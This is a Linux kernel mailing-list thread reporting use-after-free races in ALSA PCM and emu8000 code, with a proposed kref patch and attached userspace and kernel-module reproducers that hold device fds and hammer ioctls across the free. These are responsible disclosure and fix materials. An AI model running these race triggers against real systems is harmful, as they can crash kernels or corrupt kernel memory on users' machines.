+++ b/sound/core/pcm_native.c
@@ -2960,6 +2960,7 @@
__error:
module_put(pcm->card->module);
+ kref_put(&pcm->ref, snd_pcm_free_up);
__error2:
snd_card_file_remove(pcm->card, file);
__error1:
@@ -2988,6 +2989,7 @@
wake_up(&pcm->open_wait);
module_put(pcm->card->module);
snd_card_file_remove(pcm->card, file);
+ kref_put(&pcm->ref, snd_pcm_free_up);
return 0;
}
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: fwmr04.c --]
[-- Type: text/plain, Size: 5641 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr04.c - dynamic verification harness for audit case FW-MR-04
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "ç¬ç«åé©±å¨ snd_device_free(card, pcm) ä¸å¨é /dev/snd/pcmC*D1p æä½é´
* ç snd_pcm/substream Use-After-Free"
*
* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness therefore reproduces the
* audited ALSA-core release chain FAITHFULLY with the real core code and a
* module-owned ops table, exactly the structural shape of
* snd_emu8000_remove()/snd_emu8000_pcm_new():
*
* probe: snd_pcm_new(card, ...) (real core)
* snd_pcm_set_ops(pcm, PLAYBACK, &module_ops) <- ops live HERE
* pcm->private_free = ...
* snd_device_register(card, pcm) (real core)
* snd_card_register(card)
* remove: snd_device_free(card, pcm) <- emu8000_synth.c:92 verbatim
* -> snd_pcm_dev_disconnect() (no ref_count wait, no f_op swap)
* -> snd_pcm_free(): kfree(substream)@pcm.c:826, kfree(pcm)@863
*
* Userspace (fwmr_test mr04pcm) opens /dev/snd/pcmC0D0p through the REAL
* snd_pcm_open()/snd_pcm_open_file() path (ref_count=1, f_op unchanged),
* hammers SNDRV_PCM_IOCTL_PVERSION/INFO, keeps the fd across the free, then
* closes -- running the real snd_pcm_release():
* pcm_native.c:2976 pcm_file->substream (freed substream)
* pcm_native.c:2979 substream->pcm (freed pcm) <- UAF read
* pcm_native.c:2984 mutex_lock(&pcm->open_mutex) <- UAF (freed lock)
* pcm_native.c:2985 snd_pcm_release_substream() -> ops->close (module)
* Expected KASAN: slab-use-after-free on the kmalloc-1024-ish pcm/substream
* caches, plus the in-flight ioctl variant (snd_pcm_info reads
* substream->pcm->card on the freed pcm).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR04: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/pcm.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_pcm *pcm;
/* minimal legal hw template -- the emu8000_pcm.c:235
* `runtime->hw = emu8k_pcm_hw` analog (without it,
* snd_pcm_hw_constraints_complete() fails and the real open path bails) */
static struct snd_pcm_hardware f4_hw = {
.info = SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER |
SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID,
.formats = SNDRV_PCM_FMTBIT_S16_LE,
.rates = SNDRV_PCM_RATE_48000,
.rate_min = 48000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 1,
.buffer_bytes_max = 4096,
.period_bytes_min = 256,
.period_bytes_max = 4096,
.periods_min = 1,
.periods_max = 1024,
};
static int f4_open(struct snd_pcm_substream *subs)
{
subs->runtime->hw = f4_hw;
pr_info("ops->open(substream=%p) via real snd_pcm_open path\n", subs);
return 0;
}
static int f4_close(struct snd_pcm_substream *subs)
{
/*
* Called via snd_pcm_release_substream() -> substream->ops->close
* AFTER snd_pcm_free() already kfree()d substream and pcm: reaching
* this print at all means the audited dangling-fd release path ran.
*/
pr_info("ops->close() reached on post-free release path\n");
return 0;
}
static int f4_prepare(struct snd_pcm_substream *subs)
{
return 0;
}
static const struct snd_pcm_ops f4_ops = {
.open = f4_open,
.close = f4_close,
.prepare = f4_prepare,
};
/* emu8000_pcm.c snd_emu8000_pcm_free() analog: clear owner pointer */
static void f4_pcm_free(struct snd_pcm *p)
{
pr_info("pcm->private_free ran during snd_pcm_free()\n");
}
static int f4_pcm_setup(void)
{
int err;
err = snd_pcm_new(card, "fwmr04 pcm", 0, 1, 0, &pcm);
if (err < 0)
return err;
pcm->private_data = NULL;
pcm->private_free = f4_pcm_free;
snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &f4_ops);
/* emu8000_pcm.c:648 calls snd_device_register() before the final
* card register, unchecked -- the pcm stays in BUILD state here and
* is registered by snd_device_register_all() inside
* snd_card_register() below (same as the real emu8000 flow). */
snd_device_register(card, pcm);
err = snd_card_register(card);
if (err < 0)
return err;
pr_info("pcm registered: /dev/snd/pcmC1D0p (ops live in THIS module)\n");
return 0;
}
/* ---- FW-MR-04 release trigger: emu8000_synth.c:92 verbatim ---- */
static int fw4_free_set(const char *val, const struct kernel_param *kp)
{
if (!pcm)
return -ENODEV;
pr_info("calling snd_device_free(card, pcm) with fd open "
"(emu8000_synth.c:92 shape)\n");
snd_device_free(card, pcm);
pcm = NULL;
pr_info("snd_device_free() done: substream + pcm kfree()d, fd dangling\n");
return 0;
}
static const struct kernel_param_ops fw4_free_ops = { .set = fw4_free_set };
module_param_cb(fw4_free, &fw4_free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init fwmr04_init(void)
{
int err;
parent = root_device_register("fwmr04");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 1, "fwmr04", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return f4_pcm_setup();
}
static void __exit fwmr04_exit(void)
{
if (pcm) {
snd_device_free(card, pcm);
pcm = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(fwmr04_init);
module_exit(fwmr04_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-04 pcm snd_device_free race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls still use them (UAF)
2026-12-01 4:33 ` ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls " 徐晗翔
@ 2026-12-01 12:01 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:01 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: still present in 7.4-rc5 -- snd_pcm_free() still kfree()s
every substream and the pcm itself with open fds around (the
disconnect path gained no ref wait and no f_op swap), and the same
reproducer produces 36 use-after-free reports at the same sites
(snd_pcm_release, snd_pcm_common_ioctl, snd_power_ref_and_wait).
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:33:54 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls still use them (UAF)
>
> An ALSA sub-driver that registered a pcm on a live card frees it with
> snd_device_free(card, pcm) on its own remove path -- for example
> snd_emu8000_remove() runs exactly that call (emu8000_synth.c:92) for
> the Emu8000 playback pcm. snd_pcm_dev_disconnect() stops the streams,
> marks them DISCONNECTED and unregisters the minor, but it neither
> replaces the open files' f_op nor waits for substream->ref_count to
> drop; snd_pcm_free() then kfrees every substream (pcm.c:826) and
> struct snd_pcm itself (pcm.c:863). Each open /dev/snd/pcmC*D* fd
> keeps pcm_file->substream, substream->pcm and pcm->open_mutex pointing
> at the freed memory: in-flight ioctls dereference it, and the
> eventual close() runs snd_pcm_release() on it -- pcm_native.c:2976
> pcm_file->substream, 2979 substream->pcm, 2982 snd_power_wait(pcm->card),
> 2984 mutex_lock(&pcm->open_mutex), 2985 snd_pcm_release_substream()
> -> substream->ops->close. When the removal was an rmmod, those ops
> point into the unmapped module text. We verified the audited release
> chain on vanilla 7.3 with the byte-identical core code
> (snd_pcm_new/open/dev_disconnect/free) driven by a module-owned ops
> table in the exact shape of snd_emu8000_pcm_new()/snd_emu8000_remove()
> -- the AWE64 ISA hardware itself cannot be attached to a QEMU x86
> guest -- and obtained 16 use-after-free reports (snd_pcm_release
> +0x3a/+0x4d, the snd_pcm_get_state family reached through
> snd_pcm_common_ioctl, snd_power_ref_and_wait on the freed pcm->card,
> snd_refcount_put, __wake_up_common on the freed pcm's open_wait), with
> ops->close demonstrably reached on the post-free release path.
> Removing the sub-driver requires root; using the device does not.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
> x86_64 guest. sound/core/pcm.c and sound/core/pcm_native.c are
> byte-identical to mainline 7.3 (the audited free sites are
> pcm.c:826/863 and the disconnect at pcm.c:1085-1120); the emu8000
> driver shape (emu8000_synth.c:83-97, emu8000_pcm.c:637-651) is
> byte-identical too; line numbers below are from 7.3.
>
> * Mechanism
>
> - Open side: snd_pcm_open() pins the card (sound.c:111) and the
> card module only (pcm_native.c:2924); nothing pins the pcm object
> or prevents the registering sub-driver module from being removed
> while the fd is open. There is also a lockless window between
> the minor lookup (pcm_native.c:2889) and taking pcm->open_mutex
> (2930), and a re-lock window inside the open retry loop
> (2942-2949) that reads pcm->card->shutdown on a possibly freed pcm.
>
> - Remove side: snd_device_free() -> snd_pcm_dev_disconnect()
> (pcm.c:1085-1120) stops running streams and unregisters the
> device but has no ref_count wait and no f_op replacement;
> snd_pcm_free() -> snd_pcm_free_stream() kfrees each substream
> (826) and kfree(pcm) (863). Note the substream runtime is not
> even freed there (only snd_pcm_detach_substream() frees it on the
> release path), so the dangling fd keeps a leaked runtime plus two
> freed back-pointers.
>
> - Whole-card removal nests the same free inside
> snd_device_disconnect_all() via the seq device's synchronous
> device_del() unbind; with f_ops already swapped only in-flight
> syscalls can hit the freed objects.
>
> - The HDA codec path is the protected counter-example:
> hda_codec_driver_remove() waits snd_refcount_sync(&codec->pcm_ref)
> + snd_power_sync_ref() (bind.c:163-166) BEFORE codec_release_pcms()
> runs snd_device_free(); the emu8000/AOA removal paths have no
> equivalent and emu8k_pcm_open() pins no sub-driver module.
>
> * Trigger model
>
> Root runs `rmmod snd_emu8000_synth` (or sysfs unbind; on PowerMac
> the analogous i2sbus codec detach runs automatically) while a
> /dev/snd/pcmC*D1p fd is open or a pcm syscall is in flight. The
> hardware requirement is an AWE64-class card with the emu8000 synth
> sub-driver (mem_size > 0). Consequence: use-after-free on
> snd_pcm/snd_pcm_substream (mutex_lock on freed open_mutex,
> snd_power_wait on freed card pointer, ops function-pointer loads)
> and, after an rmmod, indirect calls into the unmapped module text
> from the release path.
>
> * Reproducer (attached: fwmr04.c, fwmr_test.c) and results on 7.3
>
> fwmr04.c creates a real pcm through snd_pcm_new() with a
> module-owned ops table, registers it with snd_device_register()
> (emu8000_pcm.c:637-651 shape) and implements the remove side as the
> verbatim emu8000_synth.c:92 snd_device_free(card, pcm); fwmr_test
> mr04pcm opens /dev/snd/pcmC1D0p through the real snd_pcm_open()
> path (ref_count=1), probes with PVERSION/INFO, holds the fd across
> the free, then issues INFO and closes.
>
> Results (7.3, 2 vCPU, KASAN): 16 slab-use-after-free reports --
> snd_pcm_release+0x3a/+0x4d (pcm_file->substream / substream->pcm),
> snd_pcm_get_state+0x12..0x6f via snd_pcm_common_ioctl,
> snd_power_ref_and_wait+0x87/+0x9d (pcm->card), snd_refcount_put,
> __wake_up_common (wake_up(&pcm->open_wait) on the freed pcm) --
> plus "ops->close reached on post-free release path" from the
> module. Reopen after the free returns -ENODEV as expected.
>
> * Suggested patch
>
> Give struct snd_pcm a kref: the card device entry holds the initial
> reference (dropped by snd_pcm_free()), each successful open takes a
> reference in snd_pcm_attach_substream() and each close puts it at
> the tail of snd_pcm_release() (after the last pcm use); the whole
> free body -- notify, private_free, preallocation cleanup, both
> stream frees and kfree(pcm) -- moves behind kref release. A
> concurrent snd_device_free() then cannot free a pcm that still has
> open files, which is exactly the audited defect. The complete
> patch against 7.3 (include/sound/pcm.h, sound/core/pcm.c,
> sound/core/pcm_native.c) follows (also kept as
> patch/0001-fw-mr04.patch); happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/include/sound/pcm.h
> +++ b/include/sound/pcm.h
> @@ -539,6 +539,7 @@
> char id[64];
> char name[80];
> struct snd_pcm_str streams[2];
> + struct kref ref; /* device + open files; frees the whole struct */
> struct mutex open_mutex;
> wait_queue_head_t open_wait;
> void *private_data;
> --- a/sound/core/pcm.c
> +++ b/sound/core/pcm.c
> @@ -717,6 +717,7 @@
> pcm->card = card;
> pcm->device = device;
> pcm->internal = internal;
> + kref_init(&pcm->ref);
> mutex_init(&pcm->open_mutex);
> init_waitqueue_head(&pcm->open_wait);
> INIT_LIST_HEAD(&pcm->list);
> @@ -849,10 +850,16 @@
> #define pcm_call_notify(pcm, call) do {} while (0)
> #endif
>
> -static int snd_pcm_free(struct snd_pcm *pcm)
> -{
> - if (!pcm)
> - return 0;
>
>
> +static void snd_pcm_free_up(struct kref *ref)
> +{
> + struct snd_pcm *pcm = container_of(ref, struct snd_pcm, ref);
> +
> if (!pcm->internal)
> pcm_call_notify(pcm, n_unregister);
> if (pcm->private_free)
> @@ -861,6 +868,13 @@
> snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_PLAYBACK]);
> snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_CAPTURE]);
> kfree(pcm);
> +}
> +
> +static int snd_pcm_free(struct snd_pcm *pcm)
> +{
> + if (!pcm)
> + return 0;
> + kref_put(&pcm->ref, snd_pcm_free_up);
> return 0;
> }
>
> @@ -968,6 +982,7 @@
> substream->f_flags = file->f_flags;
> substream->pid = get_pid(task_pid(current));
> pstr->substream_opened++;
> + kref_get(&pcm->ref);
> *rsubstream = substream;
> #ifdef CONFIG_SND_PCM_XRUN_DEBUG
> substream->xrun_counter = 0;
> --- a/sound/core/pcm_native.c
> +++ b/sound/core/pcm_native.c
> @@ -2960,6 +2960,7 @@
>
> __error:
> module_put(pcm->card->module);
> + kref_put(&pcm->ref, snd_pcm_free_up);
> __error2:
> snd_card_file_remove(pcm->card, file);
> __error1:
> @@ -2988,6 +2989,7 @@
> wake_up(&pcm->open_wait);
> module_put(pcm->card->module);
> snd_card_file_remove(pcm->card, file);
> + kref_put(&pcm->ref, snd_pcm_free_up);
> return 0;
> }
>
> ---- patch ends ----
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (21 preceding siblings ...)
2026-12-01 4:33 ` ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls " 徐晗翔
@ 2026-12-01 4:36 ` 徐晗翔
2026-12-01 12:01 ` 徐晗翔
2026-12-01 4:39 ` ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF) 徐晗翔
` (18 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:36 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7821 bytes --]
The Emu8000 playback pcm driver drives its period handling with a
timer that re-arms itself from inside its own callback: emu8k_pcm_timer_func()
mod_timer()s itself for the next jiffy unconditionally while holding
rec->timer_lock (emu8000_pcm.c:200), without checking rec->timer_running
or rec->running anywhere. The stop path, stop_voice() (trigger STOP,
emu8000_pcm.c:357-369), only performs a non-synchronizing
timer_delete() under the same lock, and emu8k_pcm_close()
(emu8000_pcm.c:246-252) frees the struct with no timer cleanup at all.
If trigger-stop executes while the per-jiffy callback is already
dequeued and in flight (it runs once per jiffy while playing), the
callback re-arms the timer AFTER the stop believes it dead; the
subsequent close() then kfree()s a struct with an armed timer, and at
most one jiffy later the timer core executes the callback on the
freed memory -- reading rec->timer_lock and the position fields and
re-arming the freed timer_list, which chains the freed object back
into the timer wheel and corrupts the timer subsystem state.
We verified the mechanism on vanilla 7.3 with a 1:1 replica of the
three audited fragments (identical lock/flag semantics, the real timer
machinery) on a lookalike struct, because the real driver needs AWE64
ISA hardware that a QEMU x86 guest cannot provide; the replica is
explicitly labeled as such in the attached module. Driving the
audited interleaving ("stop completes while the callback is already
dequeued, callback body runs afterwards") hit immediately: three KASAN
slab-use-after-free reports in __run_timers (ksoftirqd context --
Write of size 8 on the freed struct, i.e. the freed timer_list being
dequeued/re-armed by the timer core itself), after which the guest's
timer subsystem was wedged and the VM stopped making progress -- the
audited "freed timer_list re-arm corrupts the timer core" consequence,
demonstrated end to end. Natural hammering (300 start/stop/close
rounds without any artificial delay) did not hit, as expected for a
per-jiffy in-flight window of a few microseconds; we report that
negative honestly. Triggering needs no privileges beyond normal
device-node permissions (audio group) on an AWE64-class card with
DRAM; no root, no module removal, no fault injection.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
x86_64 guest. sound/isa/sb/emu8000_pcm.c is byte-identical to
mainline 7.3; the fragments below quote its line numbers. The
driver requires AWE64-class ISA hardware (snd_sbawe + the
